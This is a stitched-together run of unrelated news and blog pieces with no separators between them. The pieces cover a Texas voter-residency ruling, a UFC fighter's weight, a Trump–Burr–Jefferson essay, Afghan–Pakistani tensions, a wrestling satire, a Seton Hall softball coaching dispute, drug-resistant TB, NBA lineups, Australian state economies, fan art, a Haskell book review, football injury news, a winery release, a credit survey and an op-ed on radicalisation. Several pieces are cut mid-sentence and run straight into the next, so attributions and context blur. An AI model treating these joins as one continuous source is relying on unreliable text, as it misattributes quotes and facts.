Eight of the individuals - excluding Cook and Doyle - testified it was their intent to establish the hotel as their residence and take control of the RUD board.
However, Reiter said his final judgment was based on evidence that none of the 10 “contestees” resided within the boundaries of the RUD “on the date each of them signed a voter’s registration application, nor on May 8, 2010, when they voted, not subsequently.”Dave Meltzer gets the story:
He's up from his usual 187-188 pounds as his walk-around weight to 195-196, and said he's slowly developing muscle that he will maintain. At the same time, he emphasized that his athletic performance comes second to his health, and despite competing in a dangerous sport, he is not going to take any steps that would hinder his long-term well-being.
The 28-year old St. Pierre said that if he gets up to 200 pounds, he may have to move up a weight class. He's noted that he goes against middleweights, light heavyweights and heavyweights in training all the time, and does very well against them.
The key is whether St. Pierre can continue to make 170 without a problem. He said if and when the cut becomes too drastic, that's when he'll stop. It's in that next class up where Anderson Silva, his much talked-about potential future opponent in what would be one of the biggest matches in company history, resides as champion.
"I'm not afraid of any man in the sport," said St. Pierre in reference to Silva, who along with St. Pierre and Fedor Emelianenko are the three fighters most debated for the No. 1 pound-for-pound spot.Aaron Burr
‘He’s not very forthcoming on any particular stances,’ says Thomas Jefferson. ‘Ask him a question: it glances off, he obfuscates, he dances,’ replies James Madison. In these lines, from Lin-Manuel Miranda’s musical, Hamilton, the pair of rapping Founding Fathers discuss the presidential bid of Aaron Burr, a New England businessman, who, in the election of 1800, came within striking distance of the top job. Unscrupulous and unprincipled, Burr has been compared to Donald Trump. While both have proved adept at dodging questions and dancing around the truth, the similarities are only superficial. In reality, Trump owes a great deal more to the eventual winner of that election: Jefferson.
Comparing the campaigns of 2016 and 1800 throws up some surprising parallels. The election of 1800 was marred by political intrigue and accusations of malpractice: the Governor of Virginia, James Monroe, openly wondered whether the result might be stolen by a faction of conspirators. The partisan mudslinging, meanwhile, focused upon the ‘temperament’ of the candidates. John Adams, the sitting president and leader of the Federalist party, was disqualified by his Democratic-Republican party opponents for apparently possessing ‘an ungovernable temper’. In return, Federalists spread rumours that the Democratic-Republican candidate, Jefferson, suffered from chronic illnesses and had recently died. As the results came in, Jefferson and Burr found themselves tied for electoral college votes, which meant that the final decision had to be turned over to the House of Representatives, a body overwhelmingly hostile to Jefferson. It suddenly became possible that the peaceful, democratic handover of power would descend into violence. ‘A civil war was expected’, Adams later wrote. The Federalists in the House were confronted with a quandary: should they vote for their ideological nemesis Jefferson or for the deviously unprincipled Burr? They turned for guidance to Alexander Hamilton.
Like his musical incarnation, the real-life Hamilton also reviled Burr, describing him as ‘one of the most unprincipled men in the United States’, ‘a profligate, a voluptuary’, who played upon ‘the weak sides of human nature’ and manipulated ‘the passions of all with whom he has intercourse’. If Hamilton was ambivalent about supporting Jefferson, today many Republicans also wonder whether they can bring themselves to back Hillary Clinton. During the deadlock, many Federalist congressmen tried to rationalise a vote for Burr by claiming that he would shake up the system. Fisher Ames, a delegate from Massachusetts, consoled himself with the thought that Burr ‘might impart vigour to the country’. The embattled chair of the Republican National Committee, Reince Priebus, recently excused Trump’s manifold flaws by arguing that only he could ‘bring an earthquake to Washington’. Hamilton eventually swung his support behind Jefferson, breaking the stalemate. His reason was simple: ‘the appointment of Burr as president would disgrace our country abroad’. Hamilton might as well have been describing Trump.
During the 2016 presidential election many column inches have been dedicated to making sense of Trump’s bid for the Whitehouse. The hunt for historical comparison repeatedly throws up one candidate: Aaron Burr. In July, the Easy Bay Times in California wondered why the Republican Party had chosen ‘to nominate the most reprehensible candidate since Aaron Burr’. The Baltimore Sun agreed, contending that, ‘with the possible exception of Aaron Burr, there has never been a more unqualified and dangerous candidate of a major party for the presidency of the United States’. It seems that Trump is not an unfathomable political aberration at all: he is simply Burr incarnate.
There are certainly similarities. Burr was a narcissist and skilled self-promoter, whose addiction to adulation outweighed any consideration of political principle. ‘Mr. Burr loves nothing but himself’, observed Hamilton. Burr also saw the pursuit of profit and the practice of politics as interchangeable. A quirk of the electoral college rules meant that the second place candidate was automatically appointed as vice president. In 1804, Burr used his position and power to conspire in a putative secessionist movement in New England; in 1806, he tried again, this time leading a group of adventurers into the American south-west to found an independent country on Mexican territory. Jefferson indicted him for treason, a charge that followed Burr into exile in 1811. It is widely alleged that if Trump also fails in his presidential bid he has post-election plans to launch a cable news network – Trump TV – to capitalise upon his success at manipulating the press corp. For Burr and Trump alike, defeat may simply be the launch pad for future money-making schemes.
It is here, however, that the parallels begin to break down. While Burr possessed progressive views on women’s rights and admired the works of Mary Wollstonecraft – even hanging a portrait of the feminist author above his mantlepiece – Trump’s attitudes towards women would not have seemed out of place in the 18th-century taverns of Philadelphia. And whereas Burr eventually killed his political nemesis, Hamilton, in a duel in 1804, we can be thankful that Trump has only obliquely called for the assassination of his own opponent. If we move beyond the outsized personality and look towards Trump’s ‘principles’ (bear with me here), the comparison with 1800 flips: in fact, Trump shares less with Burr than Jefferson.
This might seem absurd. After all, Jefferson was a lettered man of the Enlightenment, an inventor and introvert who so despised public speaking that he skipped his Inaugural Address of 1801, choosing instead to mail the speech to Congress for it to be read aloud in his absence. Trump is a loud-mouth demagogue, the latest in a long line of political opportunists who trace their ancestry back to Burr.
Yet in terms of their political instincts, Trump owes much to Jefferson. Both consider the US to be a world unto itself. In 1803, Jefferson purchased the vast Louisiana territories from Napoleon at the firesale price of two cents per acre. The resulting westward expansion enabled him to reorientate America away from its eastern seaboard, away from Atlantic trade, and towards the promise of a simpler future, in which traditionalism and localism would take precedent over global commerce. Jefferson often referred to America as an ‘Empire of Liberty’, a continent that would mind its own business, safely cocooned from the complicated politics and warfare of Napoleonic Europe. These same instincts for isolationism fixate Trump and his base. In his disregard for NATO and adherence to economic protectionism, Trump imagines that America can – literally – wall itself off from the outside world. And while Jefferson was not a rabble-rouser like Trump, he certainly indulged the politics of populism. During a series of agrarian revolts in Massachusetts in 1787, which threatened to violently overturn local government, Jefferson applauded the rioters. ‘A little rebellion now and then is a good thing’, he wrote. The revolt was stimulated by economic hardship among the rural population who demanded financial relief and the printing of paper money – sentiments that earned Jefferson’s sympathy. Populism always ends in the potential for crowd violence and the promise of free money: Trump is no different, having recently encouraged his supporters to harass voters at polling stations and proposed $4.4 trillion in tax cuts despite having no plan to pay for it.
Superficially, Trump and Burr might seem similar. But dig a little deeper and it becomes clear that Trump has tapped into a rich vein of political instincts – anti-globalisation, anti-elitism – that many of the Founding Fathers, notably Jefferson, openly indulged.
Rhys Jones is Research Fellow in History at Sidney Sussex College, University of Cambridge. @rhyshistorianThe spokesperson alleged that the deadliest attack yet in Kabul was planned by the Haqqani network in Pakistan
ISLAMABAD: Kabul intends to launch a concerted diplomatic campaign to isolate Pakistan in the international arena as well as in the region, a spokesperson for the Afghan president said on Saturday.
“Pakistan still supports groups involved in fighting in Afghanistan,” Dawa Khan Meenpal, deputy spokesperson for President Ashraf Ghani told the media in Kabul.
Afghanistan says Kabul attack was planned by Haqqani network in Pakistan
The comments came in reaction to the April 19 attack in which 64 people were killed.
The spokesperson alleged that the deadliest attack yet in Kabul was “planned by the Haqqani network in Pakistan.”
“Afghanistan is reviewing its policy on Pakistan,” he said, according to Radio Azadi.
“Pakistan is in the state of isolation. We want to use diplomatic initiative to isolate Pakistan at regional and international levels and to tell the world community where terrorists are and which country and intelligence (agency) support them,” Meenapal said.
He said Kabul had always asked Pakistan to seriously fight terrorism, but “they have backed terrorist groups and facilitated them.”
Kabul attack, harbinger of deteriorating ties
Prime Minister Nawaz Sharif had condemned the “heinous” attack in a message to President Ashraf Ghani and called for “coordinated approach” to eliminate terrorism.
Meenpal said Pakistan had “always allowed its soil to be used by those who fight (against) the Afghan government.”
The spokesman for Pakistan’s foreign ministry’s did not respond to a text message when asked about the country’s response.
Afghan Taliban had claimed responsibility and said three bombers had taken part in the attack and that it was part of the group’s Spring Offensive.
Published in The Express Tribune, April 24th, 2016.
Read full storyIs legendary WWE Diva Trish Stratus returning to the promotion to portray the mysterious Sister Abigail?
By phrasing the headline of an article in the form of a question — a popular clickbait trick employed by disreputable “news” websites “reporting” stories based on little-to-no credible information — we have now established this unfounded idea as a possibility!
More from Kayfabe News
Trish Stratus has neither confirmed nor denied rumors (which, admittedly, we just invented) that she will portray Bray Wyatt’s demented sister, but the term “neither confirmed nor denied” is a term typically used to imply a tacit admission, lending unwarranted credibility to the rumors.
Is Trish’s silence on the matter an indication that she is under a gag order stipulated by her new WWE contract? It’s possible, we suppose, but it’s more possible that it is very easy to fabricate stories and bolster their apparent veracity by using fancy words like “tacit” and “veracity.”
WWE has officially remained mum on the subject, refusing to even hold a press conference, which is code in shoddy journalism for “they’re hiding something.”
Will fans be shocked by the transformation of the former bombshell into a demonic minion of the Wyatt Family? Our prediction, based on no empirical evidence but plenty of speculation, is yes!She spent most of the winter carrying around an anxiety that fit over her life like an overcoat. It’s the weight you feel when you’re moving toward another separation, only this was different because there’s always a chance she may never again see her Marine husband.
This was still new to Brooke Rickards. Chris had left for his first seven-month tour just days after they were married last May. Even after he returned home safe to Delaware, Rickards remembers dreading April 14 and hoping it would never come.
In a way, she was lucky. Rickards had Seton Hall University, which was a sanctuary. And she had the school’s softball team, which was her second family. She rarely played, true. But as a senior, she felt a duty to promote morale, which is a challenge on a losing team.
So two weeks before Chris would leave for Afghanistan again, Rickards stopped by coach Paige Smith’s office to remind her for a third time that she’d be leaving campus after class on Friday, April 12, to see her husband off.
"You’re letting your team down if you go," Rickards said she heard the coach reply.
Brooke says she looked at her and blinked in disbelief.
"Pardon?"
"You’re needed here Friday and Saturday," Rickards recalled the coach saying. "As long as the other pitchers aren’t hurt, maybe you can go home early Sunday. But I’m not going to look favorably upon this."
As odious as that reaction may be, Rickards came to regard it as wholly consistent with her coach’s ethos and her personality.
She has company. In the past month, Smith has been accused by players and parents of bullying, placing sports ahead of academics, flouting NCAA rules, threats of revoking scholarship agreements made by her predecessor, and inventing violations to cut two seniors.
Two of the accusers are on the record for this story, four others declined to be identified, saying they feared reprisals.
But it’s hard to know whether this coach is a milder version of ousted Rutgers basketball coach Mike Rice or the victim of a terrible series of misunderstandings. Is this a coach out of control or overly sensitive players and parents?
Smith is not permitted to defend herself because Seton Hall declined to allow her to be interviewed.
Athletic director Pat Lyons would not address specific allegations, so he had his department issue a statement. His refusal to communicate directly may be part of the problem.
"As upsetting as this has been, you can’t reach anyone in the administration about it," said Anne Gaffey, the mother of one of the dismissed players, senior reserve Cashel Gaffey. "For two weeks, nobody returned our calls. And fighting it is a David-and-Goliath thing, it really is."
Indeed, a common desire among the parents of Seton Hall softball players is less bureaucracy and more sense and decency — common or otherwise. At the time of her request to see her husband, Rickards, 22, had pitched three innings all season for a 9-23 team, so the urgency of her presence was purely subjective. It never occurred to her that she’d encounter resistance for something so simple yet so profoundly important.
"It was as if Brooke was asking to skip school to meet friends at a beach party," said her mother, Kathy Tull. "And the coach tried to lay a guilt trip on her. She came home anyway, of course, but you don’t forgive something like that."
Tull had sent a letter protesting Smith’s methods, dated March 13, to four administrators, including President Gabriel Esteban. To this day, it has not been acknowledged by the university, Tull said.
Meanwhile, Ray Vander May says he has received "a lot of disturbing phone calls from a lot of scared parents" of underclassmen throughout the season. Vander May is the retired former coach who left the program last May after posting a 423-382 mark in 16 seasons, including back-to-back Big East championships in 2004 and 2005 and three NCAA appearances.
"When I left, I asked whether they were going to honor the deals we had with my recruits — a partial scholarship the first year, a full ride the second — and athletics (officials) said, ‘Of course,’ " Vander May said. "Now I have four kids being told, ‘We’re not honoring the deal Coach Vander May made with you.’
"This is about class and ethics — if you promise a reward, you fulfill that reward. These are the cornerstones of your program."
Vander May paused for a breath, then made a noise on the phone that sounded like contempt.
"I’m not surprised this coach threw two seniors off the team, because she could no longer threaten them with anything else," he said. "The irony is those young ladies happen to be two of the nicest, most respectful kids I’ve ever recruited."
These are the kind of allegations that could lead to an aggressive response from a university administration, but Lyons’ statement seemed deliberately vague and detached:
"There are procedures in place to monitor the welfare of all of our student-athletes and insure adherence to NCAA Compliance regulations. Every issue brought to the attention of the Athletic Department and University is taken very seriously. We thoroughly investigate all allegations in accordance with University and Athletic Department policies.
"It is our policy to not comment publicly on issues related to our teams and student-athletes. This is in order to protect the privacy of our student-athletes as required by law and to maintain the integrity of the process."
Lyons would not respond to a direct question about the coach’s reason for cutting players.
There is nothing on Paige Smith’s résumé that is unusual, and it’s hard to deny she has the incipient air of achievement at age 32. She is educated — she has a bachelor’s degree from Campbell University, and a master’s in adult education at the University of Idaho, which is 50 miles from her hometown of Coeur d’Alene.
She wins. After a Big East apprenticeship at St. John’s, Smith coached five years at Division 2 Adelphi and posted a 169-104 record with two NCAA Tournament appearances before being hired by Lyons to replace Vander May last June 29.
The concluding sentence of Lyons’ statement observed that Smith had led the Pirates to "one of the more successful seasons in recent history." But success is relative: The team’s 21-30 record is a virtual match of the 21-32 mark in 2012, which was good enough to get Vander May forced out.
To whatever degree either coach deserves credit, the players clearly enjoy each other’s company. Perhaps they had no choice this year: No outsider is allowed within 30 feet of the home dugout at Sheppard Field, and Smith’s policy is that players aren’t allowed to talk to their parents between games of a doubleheader.
According to Rickards and another player who asked for anonymity because of a fear of coaching reprisals, such discipline isn’t required for academic pursuits. The best example occurred the week of March 10, when two players had the opportunity to make a presentation before Johnson & Johnson as part of a sophomore assessment required by their Business School curriculum.
The presentation coincided with the team’s flight to San Diego, however, so the two student-athletes would have to skip the trip. Still, it was a no-brainer: These women |
told the conference in Bali. “There is an underdiagnosis of MDR-TB.”
The Asia-Pacific region has the highest number of multi-drug resistant TB (MDR-TB), but only one percent of the cases are being treated, he added.
Most cases of TB can be cured with a drug regimen of 6 to 8 months. Multi-drug resistant TB emerges when there is improper use of antibiotics in fighting regular TB, such as failure to complete the whole course of treatment.
People with HIV/AIDS are especially susceptible to falling ill with TB because their immune systems are compromised. An estimated one-third of people living with HIV are co-infected with TB, and TB continues to be the leading cause of death among people living with HIV.
The emergence of multi-drug resistant TB and extensively drug-resistant TB in recent years poses a significant public health threat, especially for countries with high HIV prevalence. Multi-drug resistant TB is resistant to two of the most powerful TB drugs, isoniazid and rifampicin.
Kazatchkine said treatment for someone with multi-drug resistant TB costs US$7,000 a year, about 100 times the cost of treating regular TB.
“The best way to prevent resistant TB is to get people to take the whole course of standard TB drugs,” he said. He stressed, however, there was still an urgency to allocate more money to treat people with multi-drug resistant TB.
“If we can do it for H1N1, we can do it for TB. These epidemics have been at (pandemic) level 6 plus plus plus plus for years,” he said.Rudy Gay made an appearance on SiruisXM’s NBA Radio earlier this week, and while most of this short interview was inconsequential, he did reveal that George Karl told him that he would be playing "more at the four" next season.
I wish "more at the four" wasn’t so ambiguous, but that’s all we have to work with.
This is something the Kings have been teasing since Gay was acquired two seasons ago. We rarely saw it under Michael Malone, but George Karl used this strategy for one particular stretch in the second half of last season, and the results were decent.
Of course, with Darren Collison missing the entire second half of the season, and DeMarcus Cousins’ overall health forcing him in and out of the lineup, it’s really hard to take any of the following numbers with anything other than a huge grain of salt, but here we go.
From March 20th to March 28th, the Kings went 4-1 with Rudy Gay starting at power forward. Cousins was active for four of those five games, with Thompson getting the start at center in the lone game Cousins missed.
Gay put up 22.4 points, 6 rebounds, and 3.2 assists per game on 44.6% shooting in that stretch.
It’s worth noting that those four wins came against the Hornets, Wizards, 76ers, and Suns. Not exactly the NBA’s finest.
If you are pro-Rudy Gay at power forward, you probably aren’t going to find a better example of that strategy working, because the rest of the numbers aren’t so hot.
The Ray McCallum, Ben McLemore, Omri Casspi, Rudy Gay, DeMarcus Cousins lineup appeared in nine total games, posting a horrific 107.4 defensive rating, -4.5 net rating, and a would-be-bottom-of-the-league 48.1 rebound percentage. Any concerns you had about Gay at the four reared its ugly head here. The Kings couldn’t defend, and they struggled on the glass.
These numbers could, and probably would look wildly different if, say, Collison were healthy, or if a more established small forward was starting in Casspi’s place. Don’t get me wrong, I want Casspi to return to Sacramento next season, but if Gay starting at power forward is a long-term plan, I highly doubt Casspi starting next to him is part of it.
The truth is, you can slice up small sample size numbers any way you like, and they would probably tell you more about the success of something than they would about the failure. The Kings failed last season on so many levels, that one particular lineups failure is just par for the course. A success, though, would show something different, something worth examining.
We don’t know enough, that’s the real issue. We’ll know a lot more on June 25th. If the Kings draft a player like Willie Cauley-Stein, or Kristaps Porzingis, the organizations intentions are clear. We might see Gay at power forward here and there, but that is not a long-term solution.
If they take a versatile, strong, defensive minded small forward like Justise Winslow or Stanley Johnson, it could indicate a real movement to start Gay at power forward full time.
I’m not naïve enough to say that small ball doesn’t have its place in today’s NBA, and it is required for certain stretches, but it is not my preferred style, especially when you are laying the success or failure of it on Rudy Gay’s shoulders. Gay has been a borderline All-Star caliber player since arriving in Sacramento, and his size and strength for a small forward is what makes him unique. And to be frank, I just don’t think Rudy Gay is cut out for 82 games in that spot.
We’ll know more in 19 days.South Australia and Tasmania are the national underperformers, with the other states and the ACT in the middle. Among the top tier, Western Australia ‘‘remains the best-performing economy in the nation, holding its position due to strength in home purchase and construction,’’ according to Commsec. The state is ranked first for retail trade and housing finance, second for economic growth and construction work, and third for business investment, population growth and dwelling starts. The Northern Territory is the second strongest economy, leading the way on economic growth, business investment, employment and construction work. New South Wales remains the third strongest economy, underpinned by solid population growth and home building.
Among the middle tier economies, ‘‘there is little to separate Queensland, Victoria and the ACT’’, according to Commsec. Queensland the second strongest on business investment but seventh on population growth, Victoria is the second-ranked economy for population growth and housing finance and the ACT has the second strongest economy for employment and dwelling starts. ‘‘There is a sizeable gap in the rankings to South Australia and Tasmania,’’ the report noted, with the two states performing badly on the key indicators. South Australia is sixth to eighth on the key indicators, although it is fifth on construction work and population growth; Tasmania is the worst-performing economy in the nation, coming last on four indicators – economic growth, construction work, population growth and dwelling starts.
Each of the key indicators was ranked as a percentage change in the March 2014 quarter on a decade average. Meanwhile, detailed modelling published on Monday by the Melbourne Economic Forum – a newly created group of top economists and public policy specialists – has predicted stark outcomes for Australia unless there are further economic reforms. The Forum said that the end of the resources investment boom and falling terms of trade could mean unemployment will hit 6.6 per cent in just over a year, pushing an extra 250,000 people into joblessness and stripping $1200 from per-capita income by 2020. As well, incomes were likely to fall until at least 2020 as the mining boom receded and export prices fell, sending gross national income per capita down by about 0.3 per cent a year over the next five years. To prevent this, Australia would need an ABS-measured productivity growth rate of 0.7 per cent per annum just to maintain living standards, and 2 per cent to keep living standards growing at their average for the past decade, said the Forum. To prevent a rise in unemployment, real average earnings would need to shrink by 0.89 per cent a year, and the dollar would need to fall by an extra 20 per cent – equivalent to around US75¢ – to help the economy make its adjustment to the post-boom era.
Ross Garnaut and Leslie Martin, economics professors at the University of Melbourne, and James Giesecke, director of Victoria University’s Centre for Policy Studies, conducted the modelling. ‘‘Do we have a problem that requires budget adjustment, income restraint and new reform efforts to lift productivity? Or is the Australian ‘she’ll be right’ approach to economic policy in the early 21st century good enough,” the pair write. The Forum will host its first gathering on Monday to discuss Australia’s macro-economic prospects. It will hear presentations by Professors Garnaut; Treasury’s head of macro-economics, David Gruen; former Liberal leader John Hewson; and former Labor trade minister Craig Emerson. - with The Australian Financial ReviewThat "apple" tree there has no apples. I spent the better part of an hour, just looking at what apple trees look like. I've seen them before, but I wanted to double check. They're short. Thin trunks. Somewhat curved. I then proceeded to discard everything I just learned for a simpler approach. Then again I do the same thing with Gothic architecture, so there's that. Not to this extent, but I digress.
Yes, I have been reading all the comments too, not that they haven't been entertaining.
Anyway, here's some teenage Cheerilee and Big Mac. I'm sure they were an item at one point. That's my new headcanon. Also despite what you might have surmised from previous works, I don't "support" MarbleMac shipping or anything like that, but some people got a little worked up about it. It's adorable, and all for fun! They are, after all, skittle-coloured talking miniature horses. Shippers are... intense.Up next? Who knows. I do. It's not pony. Or it could be a combobreaker. After all, I have one quick sketch of little AJ in progress too. And pirate AJ. And workhorse/handypony AJ. Actually, just many Applejack drawings.Review: Learn You a Haskell for Great Good!
posted Apr 20, 2011
in Programming, Reviews, Haskell
Learn You a Haskell for Great Good! (A Beginner's Guide) by Miran Lipovača, published by No Starch Press (2011). No Starch was kind enough to send me an advance copy for review.
Haskell books for "real programmers" are still thin on the ground, being limited at the moment to Real World Haskell (2008) and possibly Programming in Haskell (2007). As its introduction states, this book is aimed at existing programmers who are currently fluent in something like Java, C++, or Python, and would like to learn Haskell.
I put my take on the traditional discussion of why you should consider learning Haskell in another blog post, so we can get on with the review here.
The hardest thing about learning Haskell with no previous functional experience is bootstrapping the strong foundation that you've long since taken for granted in your imperative language. If you don't have this strong grasp of the fundamentals, then every line of code is an invitation to get stuck on some subtle issue, and you'll never have the fluency that great work requires until you have that foundation.
This book is the best way I know to obtain the Haskell foundation you need for fluency.
When I first opened the book and hit the table of contents and noticed that the book almost ends at Monads (chapters 13 and 14 out of 15 total), I was unsure what value this book could have. "Everybody" knows that's where Haskell begins, right? But that's also the problem; most intros and tutorials try to get to them as quickly as possible and thus fail to lay a strong foundation, which has resulted in the perception that they are some weird thing requiring bizarre metaphors and/or is just a crazy hack to deal with IO. You will know better than that by the time you finish LYAH.
Chapters 1 through 4 are dedicated to laying out the basics that you need to do anything in Haskell: Basic function syntax, the basics of the type system and the basic types the language comes with, and the basics of recursion. The recursion chapter takes the approach of carefully explaining how several of the core list functions are implemented recursively. Surprisingly, a discussion of tail recursion is left out. I'm not sure how I feel about that. It is an unfortunate thing to have to hit a beginner with, but it is also unfortunate to leave them unprepared to deal with the problem of stack overflow if it comes up. But otherwise the recursion chapter is solid.
Chapter 5 introduces higher order functions, then with modules and new custom typeclasses the work of actually creating programs is covered. Chapters 8 and 9 cover IO, albeit thinly; it progresses only just beyond reading and writing text files line-by-line, touching on using the random functions and bytestrings. Chapter 10 implements an RPN calculator in a functional manner, and also solves a min-path problem for a restricted certain sort of graph
Then we get to what I believe is the true raison d'etre for this book, which is chapters 11 through 14. Having laid the necessary foundation for the topics in the previous chapters, chapter 11 begins with a clear-as-a-bell explanation of functors, then applicative functors. It then builds up to monoids in chapter 12, monads in general in chapter 13, then in chapter 14 makes the reader, writer, and state monad seem not only simple but obvious, something I was not sure was possible.
This sequence alone is worth the price of entry. Over the past couple of years I had been assembling my own understanding of these topics piecemeal via the internet and other documentation. I've read monad "tutorials" numbering in the low dozens. In a handful of hours, these chapters blew what turned out to be my rickety assemblage of concepts apart and replaced them with a solid understanding of what is going on with them, and why. This is the foundation that the book gives you. This is the foundation that will allow the reader to step out into the broader realm of Haskell libraries and applications and see familiar things used in new ways instead of a mass of confusion. Learn You a Haskell for Great Good! removes the magic from Haskell, and replaces it with awesome.
After that adventure, chapter 15 on zippers seems anticlimactic and random, in that it's a good chapter for what it is but seems to be just sort of hanging out. Hopefully it is the harbinger of Learn You Yet More Haskell For Greater Good!
All that said, the subtitle "A Beginner's Guide" is accurate. Many topics normally considered basic are left uncovered, such as tail recursion. Exception handling is mostly limited to Control.Exception.bracketOnError. LYAH at no point discusses how Haskell's syntax uses whitespace, which based on my experience can cause some problems in the beginner phase, even if you are fluent in Python to start with. Probably worst of all, nothing is said about any way of debugging your programs, not even to the extent that you may need for the examples given. This is not your all-in-one guide to Haskell. But I think that someone who takes the time to read this book twice and work through the examples will be in a better position to start reading about monad transformers than someone who has read a work that blasted through everything else as quickly as possible to get to that point. The table of contents may be relatively thin, but you will grok the things in it when you are done.
I can't end this review without also calling out the excellent index. I doubt there's much you might want to look up later that you will not find in there. It also does not contain the obvious recursion joke, or any variant thereof.
Whether you add or deduct points for that is up to you.
The style is pleasantly conversational, which offsets the formality of the topic nicely. Doodles adorn the text here and there. How can you not say Hello to that World? It seems to me they start out directly connected to the text, then become increasingly more obscure as the book goes on, until I lose the train entirely in the Zipper chapter. What is Captain Picard doing on page 352? I don't know. But he's there.
Should you buy this book? If you are already clear on the relationships between applicative functors, monoids, and monads and their practical use, then this book offers you little. If you're actually on the fence as to whether or not you want to learn Haskell, this book doesn't "sell" it so much as simply start teaching it; you may want to at least browse over Real World Haskell first. But if you fit the books stated target audience, you want to learn Haskell, and you value your time, I solidly recommend this book, and recommend starting with LYAH before Real World Haskell. You can theoretically get the same foundation from free resources online, but it will take you much longer. (Believe me. I know.)
Update: This is apparently also available at http://learnyouahaskell.com. I had thought that was a much older version of this, but apparently not so old. It's not quite identical to the copy I have but it's close.
As a parenthetical side note, seeing Haskell through the eyes of a beginner has reminded me how badly Haskell needs an equivalent of Python 3000. Far too often this book had to stop to discuss the naming of various functions, or explain why there are so many "map" functions, or why we have fmap and map and all these utterly differently named variants for similar concepts, or how Applicative isn't a prerequisite for Monad. And in each case this is exactly the sort of thing that can trip up a beginner for hours. If you are going to use this book, I would seriously recommend that you listen near the beginning when it tells you where you can get more Haskell help, especially the IRC channel. Do take the time to try to figure out what the error messages Haskell emits means yourself for a few minutes before just giving up, but don't be afraid to call in the cavalry. And perhaps if it's been a couple of years since 2011 we'll have this cleaned up by the time you're reading this.Sergio Aguero left the pitch in tears against Everton
Manchester City striker Sergio Aguero is back in training having been sidelined since December with a knee injury.
Aguero, 26, took part in a team session on Thursday which also featured forward Edin Dzeko, who has also been out since last month, with a calf injury.
Argentine Aguero had scored 19 goals in 17 starts before suffering ligament damage against Everton on 6 December.
City's next match is at Everton on Saturday followed by Arsenal at home.
The match at Goodison Park could come too soon for Aguero, although reports suggest he could be back for the match against the Gunners.
City are expected to further boost their forward line with the signing of Swansea's Wilfried Bony for £30m in the coming days.
Aguero has earned widespread acclaim for his performances this season, with Pellegrini hailing the striker as "one of the best players in the world".
His highlights include scoring all four in a 4-1 rout of Tottenham on 18 October and a hat-trick in the 3-2 Champions League win over Bayern Munich on 25 November.Listermann will release its first two wines on Nov. 11. (Photo: Provided)
Listermann Fermatorium will release its first two wines and a Mexican drink, pulque, next week.
A new part of Listermann Brewing Company focused on meads, wines and ciders, the Listermann Fermatorium opened in early September. It has already produced three different kinds of ciders.
Two wines, a chardonnay and pinot noir branded "Schloss Listermann," will be released at 5 p.m. Wednesday. ("Schloss" is a German castle or manor; the name reflects the owner's German heritage and Listermann's own castle-like building, according to Listermann's Jason Brewer.) About 40 bottles of each will be available.
“I’m really excited about the experience we can now offer our customers,” Brewer said. “We have always been about unique experiences, and this really rises us to the next level. A couple can come in where one person hates beer and still have a fantastic experience. It’s different from just serving wine. It’s all hand crafted by your neighbor for you.”
Also being released Wednesday: Pulque, a Mexican drink made from 100 percent agave nectar that is fermented.
“It almost tastes like a tart lemon-lime sports drink," said Danny Spears, who's behind Listermann's fermented beverages.
Brewer and Spears will be on hand answer questions and taste the beverages with customers from 5–8 p.m. Wednesday at Listermann, 1621 Dana Ave. in Evanston.
More wines, including a malbec and a sangiovese, are currently fermenting and will be available soon.
Read or Share this story: http://cin.ci/1MBTsfQAccording to a recent survey sponsored by Discover Financial Services (NYSE: DFS), some 96% of millennials between the ages of 18 and 32 who have credit cards consider themselves to be financially responsible. That total probably includes most of the 44% who have missed a payment, paid a late fee, busted their credit limit or had to work out a payment plan with their credit card issuers. And we thought millennials understood irony.
The survey also included millennials who did not have credit cards. Among this group, some 80% considered themselves financially responsible, presumably because they reckon that they cannot handle having a credit card, although the survey did not ask that. Only about one in four non-cardholders knew their approximate credit score, and only about one in five had checked their credit reports or credits scores in the past six months.
According to the survey, 37% of millennial cardholders said they learned to manage credit responsibly by using credit cards. A Discover executive noted, “It is important that millennials be aware of their credit information because it influences how lenders, auto dealers and others evaluate them.”
And millennials are actively applying for credit. Some 63% of those surveyed have two or more credit cards. Among the youngest portion (18 to 22 years old) of those surveyed, 99% know what a credit score is and 50% said that having a credit card made them more financially responsible.
ALSO READ: 20 Cities With the Widest Gap Between the Rich and Poor
Those same young cardholders said that restaurants and dining out were the top reason (63%) for having a credit card. Other top reasons for having a card:The unveiling of Mohammed Emwazi as the man behind the “Jihadi John” mask is a reminder that Islamist extremism is an ideology that is accessible to all. It is clear from the news in the past week how powerful a draw it is for such a diverse range of people.
From the Bangladeshi-heritage east London schoolgirls to Emwazi, the well-off west Londoner of Kuwaiti heritage, Islamic State (Isis) and other extremists recruit from across British society. It is this inherent vulnerability that should inform what is the most appropriate response, without doubt a civil society one.
It is my former radicalisation and my active involvement in exploiting others in the same process that frames my view on this. And it is clear that there are strong parallels between Islamist extremism and racism, and I am convinced we can tackle it in similar ways.
Let’s remind ourselves of other recent stories. The disgraced and subsequently dismissed Ukip councillor Rozanne Duncan shocked us with her overt, albeit confused, racism in a BBC documentary. Last week, Chelsea football fans who refused Souleymane S entry to their Paris train carriage on the grounds of his skin colour shocked us in equal measure – this story reminded me of the racist attacks I experienced in my youth, which were the touchstones my former role models exploited in my radicalisation to Islamism in the 1990s.
Like racism, Islamism can and will be beaten Read more
Of course, racism back then came in all shapes and sizes. There was the institutionally racist police force; there were the nonviolent but despicably racist views that were normalised on the football terraces; and there were the physical attacks by the likes of the far-right Combat 18 and the murders by those who shared these widely held views and were motivated to commit violence because of them.
We have come a long way from those days in Britain, and while instances still exist, they are roundly criticised and cut off at such an early stage that, thankfully, we see less racist violence. But we’ve not progressed so far in tackling Islamist extremism.
Cage, the pressure group that revealed “Jihadi John’s” real name, is keen to promote the notion that the security services contributed to his radicalisation. It is true to say that failing to tackle extremism in the correct way can feed the radicalisation process, not starve it, but Cage seems to have ignored the fact that he tried to join al-Shabaab before being questioned by MI5, not afterwards, and has ignored jihadist signs in its three-year engagement with him.
Just as racism became the go-to grievance for my subsequent actions, about which I remain repentant, so too does Islamist extremism feed far-right extremism. This is no excuse, but it does add another level to the significance of this challenge. Extremism breeds extremism, and this vicious circle needs breaking with sensible counter-narratives.
Ignoring the rising threat of Islamist ideology in a misguided belief that we hope to defend Muslims only makes anti-Muslim sentiment worse, because it risks the average non-Muslim being persuaded to blame “those Muslims” over there. The rise of populist far-right parties across Europe demonstrates this fact very well. This leaves a gaping hole that the far-right will, in turn, also fill with its bigotry, because no one else is speaking about these issues.
Just as racism became the go-to grievance for my actions, so too does Islamist extremism feed far-right extremism
